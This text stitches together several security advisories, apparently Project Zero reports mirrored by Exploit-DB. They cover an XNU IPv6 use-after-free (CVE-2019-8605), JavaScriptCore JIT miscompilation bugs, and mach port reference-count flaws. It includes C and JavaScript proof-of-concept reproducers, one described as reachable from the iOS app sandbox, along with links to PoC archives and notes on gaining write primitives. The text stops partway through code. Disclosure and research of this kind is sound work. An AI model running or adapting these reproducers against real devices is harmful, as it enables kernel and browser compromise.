0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa
0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63
0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d
0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114
0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75
0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284
0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f
0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16

BSD process name corresponding to current thread: in6_selectsrc
Boot args: keepsyms=1 -v=1

Mac OS version:
18D109
*/

#define IPPROTO_IP 0

#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }
#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }

int main() {
    int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);
    printf("res0: %d\n", s);
    struct sockaddr_in6 sa1 = {
        .sin6_len = sizeof(struct sockaddr_in6),
        .sin6_family = AF_INET6,
        .sin6_port = 65000,
        .sin6_flowinfo = 3,
        .sin6_addr = IN6_ADDR_LOOPBACK,
        .sin6_scope_id = 0,
    };
    struct sockaddr_in6 sa2 = {
        .sin6_len = sizeof(struct sockaddr_in6),
        .sin6_family = AF_INET6,
        .sin6_port = 65001,
        .sin6_flowinfo = 3,
        .sin6_addr = IN6_ADDR_ANY,
        .sin6_scope_id = 0,
    };

    int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));
    printf("res1: %d\n", res);

    unsigned char buffer[4] = {};
    res = setsockopt(s, 41, 50, buffer, sizeof(buffer));
    printf("res1.5: %d\n", res);

    res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));
    printf("res2: %d\n", res);

    close(s);
    printf("done\n");
}


ClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well.

==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248
READ of size 8 at 0x610000000c50 thread T0
SCARINESS: 51 (8-byte-read-heap-use-after-free)
    #0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25
    #1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13
    #2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12
    #3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12
    #4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10

0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00)
freed by thread T0 here:
    #0 0x497a3d in free _asan_rtl_:3
    #1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3
    #2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3
    #3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7
    #4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10
    #5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10
    #6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10

previously allocated by thread T0 here:
    #0 0x497cbd in __interceptor_malloc _asan_rtl_:3
    #1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10
    #2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9
    #3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13
    #4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12
    #5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12
    #6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10


#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

/*
TCP-based reproducer for CVE-2019-8605
This has the benefit of being reachable from the app sandbox on iOS 12.2.
*/

#define IPV6_3542PKTINFO 46

int main() {
    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    printf("res0: %d\n", s);

    unsigned char buffer[1] = {'\xaa'};
    int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));
    printf("res1: %d\n", res);

    res = disconnectx(s, 0, 0);
    printf("res2: %d\n", res);

    socklen_t buffer_len = sizeof(buffer);
    res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);
    printf("res3: %d\n", res);
    printf("got %d\n", buffer[0]);

    close(s);
    printf("done\n");
}


It seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected.

But there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.
            
While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release:

    // Run with --useConcurrentJIT=false

    // Fill the stack with the return value of the provided function.
    function stackspray(f) {
        // This function will spill all the local variables to the stack
        // since they are needed for the returned array.
        let v0 = f(); let v1 = f(); let v2 = f(); let v3 = f();
        let v4 = f(); let v5 = f(); let v6 = f(); let v7 = f();
        return [v0, v1, v2, v3, v4, v5, v6, v7];
    }
    // JIT compile the stack spray.
    for (let i = 0; i < 1000; i++) {
        // call twice in different ways to prevent inlining.
        stackspray(() => 13.37);
        stackspray(() => {});
    }

    for (let v15 = 0; v15 < 100; v15++) {
        function v19(v23) {
            // This weird loop form might be required to prevent loop unrolling...
            for (let v30 = 0; v30 < 3; v30 = v30 + "asdf") {
                // Generates the specific CFG necessary to trigger the bug.
                const v33 = Error != Error;
                if (v33) {
                } else {
                    // Force a bailout.
                    // CFA will stop here and thus mark the following code as unreachable.
                    // Then, LICM will ignore the memory writes (e.g. initialization of stack slots)
                    // performed by the following code and will then move the memory reads (e.g.
                    // access to stack slots) above the loop, where they will, in fact, be executed.
                    const v34 = (1337)[-12345];
                }

                function v38(v41) {
                    // v41 is 8 bytes of uninitialized stack memory here, as
                    // (parts of) this code get moved before the loop as well.
                    return v41.hax = 42;
                }
                for (let v50 = 0; v50 < 10000; v50++) {
                    let o = {hax: 42};
                    const v51 = v38(o, ...arguments);
                }
            }
            // Force FTL compilation, probably.
            for (let v53 = 0; v53 < 1000000; v53++) {
            }
        }

        // Put controlled data onto the stack.
        stackspray(() => 3.54484805889626e-310);        // 0x414141414141 in binary
        // Call the miscompiled function.
        const v55 = v19(1337);
    }


This yields a crash similar to the following:

# lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc --useConcurrentJIT=false current.js
(lldb) target create "/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc"
Current executable set to '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64).
(lldb) settings set -- target.run-args  "--useConcurrentJIT=false" "current.js"
(lldb) r
Process 45483 launched: '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64)
Process 45483 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x000025c3ca81306e
->  0x25c3ca81306e: cmp    dword ptr [rax], 0x127
    0x25c3ca813074: jne    0x25c3ca81316f
    0x25c3ca81307a: mov    dword ptr [rbp + 0x24], 0x1
    0x25c3ca813081: movabs rax, 0x7fff3c932a70
Target 0: (jsc) stopped.
(lldb) reg read rax
     rax = 0x0001414141414141           // Note the additional 0x1 at the start due to the NaN boxing scheme (see JSCJSValue.h)

The same sample also sometimes triggers a crash with --useConcurrentJIT=true (the default), but it is more reliable with concurrent JIT disabled.
If the sprayed value is a valid pointer, that pointer would either be treated as an object with the structure of `o` in the following code (if the first dword matches the structure ID), or it would be treated as a JSValue after a bailout to the baseline JIT/interpreter.


It appears that what is happening here is roughly the following:

When v19 is JIT compiled in the DFG, it emits the following (shortened and simplified) DFG IR for the body of the loop:

    # BASIC BLOCK #9 (loop body)
     # Create object `o`
     110:   NewObject()
     116:   PutByOffset(@110, @113, id1{hax})
     117:   PutStructure(@110, ID:430)

     # Spread `o` and `arguments` into a new array and use that for a varargs call
     131:   Spread(@30)
     134:   NewArrayWithSpread(@110, @131)
     142:   LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap)

     # Inlined call to v38, load the first argument from the stack (where LoadVarargs put it)
       8:   GetStack(R:Stack(-24))
       177:     CheckStructure(@8)
       178:     PutByOffset(@8, @113, id1{hax})
       ...

During loop-invariant code motion (LICM), the GetStack operation, reading from the stack slot initialized by the LoadVarargs operation, is moved in front of the loop (together with parts of the inlined v38 function), thus yielding:

    # BASIC BLOCK #2 (before loop header)
       8:   GetStack(R:Stack(-24))
       177:     CheckStructure(@8)


    # BASIC BLOCK #9 (loop body)
     # Create object `o`
      ...

     # Spread `o` and `arguments` into a new array and use that for a varargs call
     ...
     142:   LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap)
     ...

As such, in the resulting machine code, the value for v41 (the argument for the inner function) will be loaded from an uninitialized stack slot (which is only initialized later on in the code).

Normally, this shouldn't happen as the LoadVarargs operations writes into the stack (W:Stack(-24)), and GetStack reads from that (R:Stack(-24)). Quoting from DFGLICMPhase.cpp: "Hoisting is valid if: ... The node doesn't read anything that the loop writes.". As such, GetStack should not have been moved in front of the loop.

The reason that it was still moved appears to be a logical issue in the way LICM deals with dead code: LICM relies on the data computed by control flow analysis (CFA) to know whether a block will be executed at all. If a block will never be executed (and so is dead code), then LICM does not take into account memory writes (e.g. to Stack(-24)) performed by any operation in this block (See https://github.com/WebKit/webkit/blob/c755a5c371370d3a26f2dbfe0eea1b94f2f0c38b/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp#L88). It appears that this behaviour is incorrect, as in this case, CFA correctly concludes that block #9 is dead code (see below). As such, LICM doesn't "see" the memory writes and incorrectly moves the GetStack operation (reading from a stack slot) in front of the LoadVarargs operation (initializing that stack slot).

To understand why CFA computes that the loop body (block #9) is unreachable, it is necessary to take a look at the (simplified) control flow graph for v9, which can be found in the attachment (as it needs to be rendered in monospace font :)). In the CFG, block #3, corresponding to the `if`, is marked as always taking the false branch (which is correct), and thus jumping to block 5. Block 5 then contains a ForceOSRExit operation due to the out-of-bounds array access, which the JIT doesn't optimize for. As this operation terminates execution in the DFG, CFA also stops here and never visits the rest of the loop body and in particular never visits block #9.


To recap: in the provided JavaScript program, CFA correctly computes that basic block #9 is never executed. Afterwards, LICM decides, based on that data, to ignore memory writes performed in block #9 (dead code), then moves memory reads from block #9 (dead code) into block #2 (alive code). The code is then unsafe to execute. It is likely that this misbehaviour could lead to other kinds of memory corruption at runtime.


             +-----+
             |  0  +----+
             +-----+    |
+-----+                 |
|  1  +-------+         v
+-----+       |     +-----------+
   ^          |     |    2      |
   |          +---->| loop head |
   |                +-----+-----+
   |                      |
   |                      v
   |                 +---------+
   |                 |    3    |
   |                 | if head |
   |                 +--+---+--+
   |                    |   |
   |       +-----+      |   |      +-----+
   |       |  5  |<-----+   +----->|  4  |
   |       +--+--+                 +--+--+
   |    OSRExit here                  |
   |                   +-----+        |
   |                   |  6  |<-------+
   |                   +--+--+
   |       +------+       |
   +-------+ 7-10 |<------+
           +---+--+
       Rest of | Loop body
               |
               | To End of function
            
While fuzzing JavaScriptCore, I encountered the following JavaScript program which crashes jsc from current HEAD (git commit 3c46422e45fef2de6ff13b66cd45705d63859555) in debug and release builds (./Tools/Scripts/build-jsc --jsc-only [--debug or --release]):

    // Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10 --thresholdForFTLOptimizeAfterWarmUp=1000

    function v0(v1) {
        function v7(v8) {
            function v12(v13, v14) {
                const v16 = v14 - -0x80000000;
                const v19 = [13.37, 13.37, 13.37];
                function v20() {
                    return v16;
                }
                return v19;
            }
            return v8(v12, v1);
        }
        const v27 = v7(v7);
    }
    for (let i = 0; i < 100; i++) {
        v0(i);
    }

It appears that what is happening here is roughly the following:

Initially, the call to v12 is inlined and the IR contains (besides others) the following instructions for the inlined v12:

    1 <- GetScope()
    2 <- CreateActivation(1)
    3 <- GetLocal(v14)
    4 <- JSConstant(-0x80000000)
    5 <- ValueSub(3, 4)
    6 <- NewArrayBuffer(...)

Here, The CreateActivation instruction allocates a LexicalEnvironment object on the heap to store local variables into. The NewArrayBuffer allocates backing memory for the array.
Next, the subtraction is (incorrectly?) speculated to not overflow and is thus replaced by an ArithSub, an instruction performing an integer subtraction and bailing out if an overflow occurs:

    1 <- GetScope()
    2 <- CreateActivation(1)
    3 <- GetLocal(v14)
    4 <- JSConstant(-0x80000000)
    5 <- ArithSub(3, 4)
    6 <- NewArrayBuffer(...)

Next, the object allocation sinking phase runs, which determines that the created activation object doesn't leave the current scope and thus doesn't have to be allocated at all. It then replaces it with a PhancomCreateActivation, a node indicating that at this point a heap allocation used to happen which would have to be restored ("materialized") during a bailout because the interpreter/baseline JIT expects it to be there. As the scope object is required to materialize the Activation, a PutHint is created which indicates that during a bailout, the result of GetScope must be available somehow.

    1 <- GetScope()
    2 <- PhantomCreateActivation()
    7 <- PutHint(2, 1)
    3 <- GetLocal(v14)
    4 <- JSConstant(-0x80000000)
    5 <- ArithSub(3, 4)
    6 <- NewArrayBuffer(...)

The DFG IR code is then lowered to B3, yielding the following:

    Int64 @66 = Const64(16, DFG:@1)
    Int64 @67 = Add(@35, $16(@66), DFG:@1)
    Int64 @68 = Load(@67, ControlDependent|Reads:28, DFG:@1)
    Int32 @69 = Const32(-2147483648, DFG:@5)
    Int32 @70 = CheckSub(@48:WarmAny, $-2147483648(@69):WarmAny, @35:ColdAny, @48:ColdAny, @68:ColdAny, @41:ColdAny, ...)
    Int64 @74 = Patchpoint(..., DFG:@6)

Here, the first three operations fetch the current scope, the next two instruction perform the checked integer subtraction, and the last instruction performs the array storage allocation. Note that the scope object (@68) is an operand for the subtraction as it is required for the materialization of the activation during a bailout. The B3 code is then (after more optimizations) lowered to AIR:

    Move %tmp2, (stack0), @65
    Move 16(%tmp2), %tmp28, @68
    Move $-2147483648, %tmp29, $-2147483648(@69)
    Move %tmp4, %tmp27, @70
    Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %tmp27, %tmp2, %tmp4, %tmp28, %tmp5, @70
    Patch &Patchpoint2, %tmp24, %tmp25, %tmp26, @74

Then, after optimizations on the AIR code and register allocation:

    Move %rax, (stack0), @65
    Move 16(%rax), %rdx, @68
    Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %rcx, %rax, %rcx, %rdx, %rsi, @70
    Patch &Patchpoint2, %rax, %rcx, %rdx, @74

Finally, in the reportUsedRegisters phase (AirReportUsedRegisters.cpp), the following happens

* The register rdx is marked as "lateUse" for the BranchSub32 and as "earlyDef" for the Patchpoint (this might ultimately be the cause of the issue).
    "early" and "late" refer to the time the operand is used/defined, either before the instruction executes or after.
* As such, at the boundary (which is where register liveness is computed) between the last two instructions, rdx is both defined and used.
* Then, when liveness is computed (in AirRegLiveness.cpp) for the boundary between the Move and the BranchSub32, rdx is determined to be dead as it is not used at the boundary and defined at the following boundary:

    // RegLiveness::LocalCalc::execute
    void execute(unsigned instIndex)
    {
        m_workset.exclude(m_actions[instIndex + 1].def);
        m_workset.merge(m_actions[instIndex].use);
    }

As a result, the assignment to rdx (storing the pointer to the scope object), is determined to be a store to a dead register and is thus discarded, leaving the following code:

    Move %rax, (stack0), @65
    Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %rcx, %rax, %rcx, %rdx, %rsi, @70
    Patch &Patchpoint2, %rax, %rcx, %rdx, @74

As such, whatever used to be in rdx will then be treated as a pointer to a scope object during materialization of the activation in the case of a bailout, leading to a crash similar to the following:

    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbbadbeef)
      * frame #0: 0x0000000101a88b20 JavaScriptCore`::WTFCrash() at Assertions.cpp:255
        frame #1: 0x00000001000058fb jsc`WTFCrashWithInfo((null)=521, (null)="../../Source/JavaScriptCore/runtime/JSCJSValueInlines.h", (null)="JSC::JSCell *JSC::JSValue::asCell() const", (null)=1229) at Assertions.h:560
        frame #2: 0x000000010000bdbb jsc`JSC::JSValue::asCell(this=0x00007ffeefbfcf78) const at JSCJSValueInlines.h:521
        frame #3: 0x0000000100fe5fbd JavaScriptCore`::operationMaterializeObjectInOSR(exec=0x00007ffeefbfd230, materialization=0x0000000106350f00, values=0x00000001088e7448) at FTLOperations.cpp:217
        frame #4: ...

    (lldb) up 2
    frame #2: 0x000000010000bdbb jsc`JSC::JSValue::asCell(this=0x00007ffeefbfcf78) const at JSCJSValueInlines.h:521
    (lldb) p *this
    (JSC::JSValue) $2 = {
      u = {
        asInt64 = -281474976710656
        ptr = 0xffff000000000000
        asBits = (payload = 0, tag = -65536)
      }
    }

In this execution, the register rdx contained the value 0xffff000000000000, used in the JITed code as a mask to e.g. quickly determine whether a value is an integer. However, depending on the compiled code, the register could store different (and potentially attacker controlled) data. Moreover, it might be possible to trigger the same misbehaviour in other situations in which the dangling register is expected to hold some other value.

This particular sample seems to require the ValueSub DFG instruction, introduced in git commit  5ea7781f2acb639eddc2ec8041328348bdf72877, to produce this type of AIR code. However, it is possible that other DFG IR operations can result in the same AIR code and thus trigger this issue. I have a few other samples that appear to be triggering the same bug with different thresholds and potentially with concurrent JIT enabled which I can share if that is helpful.
            
See also  https://bugs.chromium.org/p/project-zero/issues/detail?id=1699 for a similar issue.

The DFG JIT compiler attempts to determine whether a DFG IR operation could cause garbage collection (GC) during its execution [1]. With this, it is then possible for the compiler to determine whether there could be a GC between point A and point B in a function, which in turn can be used to omit write barriers (see e.g. https://v8.dev/blog/concurrent-marking#reducing-marking-pause for an explanation of write barriers) [2]. For example, in case an (incremental) GC cannot happen between an allocation of an object and a property store to it, the write barrier after the property store can be omitted (because in that case the newly allocated object could not already have been marked, so must be white). However, if the analysis is incorrect and a GC can happen in between, then the emitted code can cause use-after-free issues, e.g. if an unmarked (white) object is assigned as property to an object that was marked during an unexpected GC (and is thus black).

Since commit  9725889d5172a204aa1120e06be9eab117357f4b [3] "Add code to validate expected GC activity modelled by doesGC() against what the runtime encounters", JSC, in debug builds, asserts that the information computed by doesGC is correct: "In DFG::SpeculativeJIT::compile() and FTL::LowerDFGToB3::compileNode(), before emitting code / B3IR for each DFG node, we emit a write to set Heap::m_expectDoesGC to the value returned by doesGC() for that node. In the runtime (i.e. in allocateCell() and functions that can resolve a rope), we assert that Heap::m_expectDoesGC is true.". The following sample (found through fuzzing and then simplified), triggers such an assertion:

    function f(a) {
        return 0 in a;
    }
    for (let i = 0; i < 100000; i++) {
        const s = new String('asdf');
        s[42] = 'x';                   // Give it ArrayStorage
        f(s);
    }

Here, the `in` operation is converted to a HasIndexedProperty DFG operation [4]. Since the String object has ArrayStorage (due to the additional element), DFGClobberize will report that it does not write to the heap [5]. Afterwards, doesGC reports that the operation cannot trigger GC [6]. However, during the execution of the operation (in the DFG JIT implemented by a call to operationHasIndexedPropertyByInt [7]) the code ends up in JSString::getIndex (to determine whether the index is valid in the underlying string), which can end up flattening a rope string, thus causing a heap allocation and thus potentially causing garbage collection. This is where, in debug builds, the assertion fails:

    ASSERTION FAILED: vm()->heap.expectDoesGC()
    ../../Source/JavaScriptCore/runtime/JSString.h(1023) : WTF::StringView JSC::JSString::unsafeView(JSC::ExecState *) const
    1   0x10d67e769 WTFCrash
    2   0x10bb6948b WTFCrashWithInfo(int, char const*, char const*, int)
    3   0x10bba9e59 JSC::JSString::unsafeView(JSC::ExecState*) const
    4   0x10bba9c6e JSC::JSString::getIndex(JSC::ExecState*, unsigned int)
    5   0x10c712a24 JSC::JSString::getStringPropertySlot(JSC::ExecState*, unsigned int, JSC::PropertySlot&)
    6   0x10d330b90 JSC::StringObject::getOwnPropertySlotByIndex(JSC::JSObject*, JSC::ExecState*, unsigned int, JSC::PropertySlot&)
    7   0x10bbaa368 JSC::JSObject::getPropertySlot(JSC::ExecState*, unsigned int, JSC::PropertySlot&)
    8   0x10d20d831 JSC::JSObject::hasPropertyGeneric(JSC::ExecState*, unsigned int, JSC::PropertySlot::InternalMethodType) const
    9   0x10c70132f operationHasIndexedPropertyByInt
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=926

mach ports are really struct ipc_port_t's in the kernel; this is a reference-counted object,
ip_reference and ip_release atomically increment and decrement the 32 bit io_references field.

Unlike OSObjects, ip_reference will allow the reference count to overflow, however it is still 32-bits
so without either a lot of physical memory (which you don't have on mobile or most desktops) or a real reference leak
this isn't that interesting.

** MIG and mach message rights ownership **

ipc_kobject_server in ipc_kobject.c is the main dispatch routine for the kernel MIG endpoints. When userspace sends a
message the kernel will copy in the message body and also copy in all the message rights; see for example
ipc_right_copyin in ipc_right.c. This means that by the time we reach the actual callout to the MIG handler any port rights
contained in a request have had their reference count increased by one.

After the callout we reach the following code (still in ipc_kobject_server):

    if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
         //  The server function is responsible for the contents
         //  of the message.  The reply port right is moved
         //  to the reply message, and we have deallocated
         //  the destination port right, so we just need
         //  to free the kmsg.
        ipc_kmsg_free(request);
    } else {
         //  The message contents of the request are intact.
         //  Destroy everthing except the reply port right,
         //  which is needed in the reply message.
        request->ikm_header->msgh_local_port = MACH_PORT_NULL;
        ipc_kmsg_destroy(request);
    }

If the MIG callout returns success, then it means that the method took ownership of *all* of the rights contained in the message.
If the MIG callout returns a failure code then the means the method took ownership of *none* of the rights contained in the message.

ipc_kmsg_free will only destroy the message header, so if the message had any other port rights then their reference counts won't be
decremented. ipc_kmsg_destroy on the other hand will decrement the reference counts for all the port rights in the message, even those
in port descriptors.

If we can find a MIG method which returns KERN_SUCCESS but doesn't in fact take ownership of any mach ports its passed (by for example
storing them and dropping the ref later, or using them then immediately dropping the ref or passing them to another method which takes
ownership) then this can lead to us being able to leak references.

** indirect MIG methods **

Here's the MIG request structure generated for io_service_add_notification_ool_64:

  typedef struct {
          mach_msg_header_t Head;
          // start of the kernel processed data
          mach_msg_body_t msgh_body;
          mach_msg_ool_descriptor_t matching;
          mach_msg_port_descriptor_t wake_port;
          // end of the kernel processed data
          NDR_record_t NDR;
          mach_msg_type_number_t notification_typeOffset; // MiG doesn't use it
          mach_msg_type_number_t notification_typeCnt;
          char notification_type[128];
          mach_msg_type_number_t matchingCnt;
          mach_msg_type_number_t referenceCnt;
          io_user_reference_t reference[8];
          mach_msg_trailer_t trailer;
  } Request __attribute__((unused));


This is an interesting method as its implementation actually calls another MIG handler:


  static kern_return_t internal_io_service_add_notification_ool(
  ...
    kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t) matching );
    data = CAST_DOWN(vm_offset_t, map_data);
    
    if( KERN_SUCCESS == kr) {
      // must return success after vm_map_copyout() succeeds
      // and mig will copy out objects on success
      *notification = 0;
      *result = internal_io_service_add_notification( master_port, notification_type,
                                                     (char *) data, matchingCnt, wake_port, reference, referenceSize, client64, notification );
      vm_deallocate( kernel_map, data, matchingCnt );
    }
    
    return( kr );
  }


and internal_io_service_add_notification does this:


    static kern_return_t internal_io_service_add_notification(
      ...
      if( master_port != master_device_port)
        return( kIOReturnNotPrivileged);
      
      do {
        err = kIOReturnNoResources;
        
        if( !(sym = OSSymbol::withCString( notification_type )))
          err = kIOReturnNoResources;
        
        if (matching_size)
        {
          dict = OSDynamicCast(OSDictionary, OSUnserializeXML(matching, matching_size));
        }
        else
        {
          dict = OSDynamicCast(OSDictionary, OSUnserializeXML(matching));
        }
        
        if (!dict) {
          err = kIOReturnBadArgument;
          continue;
        }
      ...
      } while( false );
      
      return( err );


This inner function has many failure cases (wrong kernel port, invalid serialized data) which we can easily trigger and these error paths lead
to this inner function not taking ownership of the wake_port argument. However, MIG will only see the return value of the outer internal_io_service_add_notification_ool
which will always return success if we pass a valid ool memory descriptor. This violates ipc_kobject_server's ownership model where success means ownership 
was taken of all rights, not just some.

What this leads to is actually quite a nice primitive for constructing an ipc_port_t reference count overflow without leaking any memory.

If we call io_service_add_notification_ool with a valid ool descriptor, but fill it with data that causes OSUnserializeXML to return an error then
we can get that memory freed (via the vm_deallocate call above) but the reference on the wake port will be leaked since ipc_kmsg_free will be called, not
ipc_kmsg_destroy.

If we send this request 0xffffffff times we can cause a ipc_port_t's io_references field to overflow to 0; the next time it's used the ref will go 0 -> 1 -> 0
and the object will be free'd but we'll still have a dangling pointer in our process's ports table.

As well as being a regular kernel UaF this also gives us the opportunity to do all kinds of fun mach port related logic attacks, eg getting send rights to
other task's task ports via our dangling ipc_port_t pointer.

** practicality **

On my 4 year old dual core MBA 5,2 running with two threads this PoC takes around 8 hours after which you should see a kernel panic indicative of a UaF.
Note that there are no resources leaks involved here so you can run it even on very constrained systems like an iPhone and it will work fine,
albeit a bit slowly :)

This code is reachable from all sandboxed environments.

** fixes **

One approach to fixing this issue would be to do something similar to OSObjects which use a saturating reference count and leak the object if the reference count saturates

I fear there are a great number of similar issues so just fixing this once instance may not be enough.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40955.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=959

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40957.zip

When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.

ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.

ipc_object is the actual message queue (or kernel object) which the port refers to.

ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

#define IE_BITS_UREFS_MASK  0x0000ffff  /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)

The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.

Each time a new right is received by a process, if it already had a name for that right the kernel will
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right.

ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:

    case MACH_MSG_TYPE_PORT_SEND:
        assert(port->ip_srights > 0);
        
        if (bits & MACH_PORT_TYPE_SEND) {
            mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
            
            assert(port->ip_srights > 1);
            assert(urefs > 0);
            assert(urefs < MACH_PORT_UREFS_MAX);
            
            if (urefs+1 == MACH_PORT_UREFS_MAX) {
                if (overflow) {
                    /* leave urefs pegged to maximum */     <---- (1)
                    
                    port->ip_srights--;
                    ip_unlock(port);
                    ip_release(port);
                    return KERN_SUCCESS;
                }
                
                ip_unlock(port);
                return KERN_UREFS_OVERFLOW;
            }
            port->ip_srights--;
            ip_unlock(port);
            ip_release(port);
       
     ...     
        
        entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1;  <---- (2)
        ipc_entry_modified(space, name, entry);
        break;


If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.

The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.

The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.

In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)

What does this actually mean?

Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:

    case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
      mach_port_t                 *ports;
      mach_msg_ool_ports_descriptor_t *dsc;
      mach_msg_type_number_t      j;

      /*
       * Destroy port rights carried in the message 
       */
      dsc = &saddr->ool_ports;
